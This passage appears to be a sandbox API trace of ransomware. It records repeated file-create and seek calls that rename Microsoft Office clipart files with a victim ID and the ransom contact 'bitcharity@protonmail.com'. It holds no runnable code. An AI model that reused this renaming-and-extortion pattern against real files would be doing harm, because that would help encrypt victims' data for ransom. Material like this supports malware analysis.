lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.980] CloseHandle (hObject=0x1234) returned 1 [0250.981] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.981] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157831.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.981] CloseHandle (hObject=0x1234) returned 1 [0250.982] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.982] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158071.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0158071.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.982] CloseHandle (hObject=0x1234) returned 1 [0250.987] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.987] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0158477.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.987] CloseHandle (hObject=0x1234) returned 1 [0250.989] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.990] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0160590.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.990] CloseHandle (hObject=0x1234) returned 1 [0250.991] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.991] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0164153.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.992] CloseHandle (hObject=0x1234) returned 1 [0250.993] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.993] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0168644.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.993] CloseHandle (hObject=0x1234) returned 1 [0250.994] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.994] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171685.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0171685.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.994] CloseHandle (hObject=0x1234) returned 1 [0250.995] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.995] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0171847.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.251] CloseHandle (hObject=0x1234) returned 1 [0251.678] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.678] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182902.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.678] CloseHandle (hObject=0x1258) returned 1 [0251.680] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.680] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185834.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.680] CloseHandle (hObject=0x1258) returned 1 [0251.683] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.683] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185842.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.683] CloseHandle (hObject=0x1234) returned 1 [0251.684] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.684] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186346.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186346.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.685] CloseHandle (hObject=0x1234) returned 1 [0251.686] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.687] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186360.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.687] CloseHandle (hObject=0x1234) returned 1 [0251.688] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.688] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186362.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.689] CloseHandle (hObject=0x1234) returned 1 [0251.690] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.690] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186364.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.690] CloseHandle (hObject=0x1234) returned 1 [0251.691] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.691] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187647.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187647.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.691] CloseHandle (hObject=0x1234) returned 1 [0251.693] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.693] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187815.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.693] CloseHandle (hObject=0x1234) returned 1 [0251.695] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.695] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187817.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.695] CloseHandle (hObject=0x1234) returned 1 [0251.700] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.700] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187819.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.700] CloseHandle (hObject=0x1234) returned 1 [0251.703] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.703] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187825.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187825.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.703] CloseHandle (hObject=0x1234) returned 1 [0251.705] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.705] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187829.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.705] CloseHandle (hObject=0x1234) returned 1 [0251.706] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.707] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187835.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.707] CloseHandle (hObject=0x1234) returned 1 [0251.709] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.709] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187837.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.709] CloseHandle (hObject=0x1234) returned 1 [0251.711] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.711] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187839.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187839.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.714] CloseHandle (hObject=0x1234) returned 1 [0251.715] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.715] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187847.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.716] CloseHandle (hObject=0x1234) returned 1 [0252.362] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.362] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187849.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.365] CloseHandle (hObject=0x118c) returned 1 [0252.366] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.366] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195772.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195772.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.366] CloseHandle (hObject=0x118c) returned 1 [0252.367] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.367] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195788.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195788.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.368] CloseHandle (hObject=0x118c) returned 1 [0252.368] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.368] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196060.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196060.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.369] CloseHandle (hObject=0x118c) returned 1 [0252.370] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.370] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196110.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196110.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.370] CloseHandle (hObject=0x118c) returned 1 [0252.372] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.372] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196142.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196142.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.372] CloseHandle (hObject=0x118c) returned 1 [0252.374] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.374] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196354.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196354.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.374] CloseHandle (hObject=0x118c) returned 1 [0252.376] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.376] SetFilePointerEx (in: hFile=0x118c, 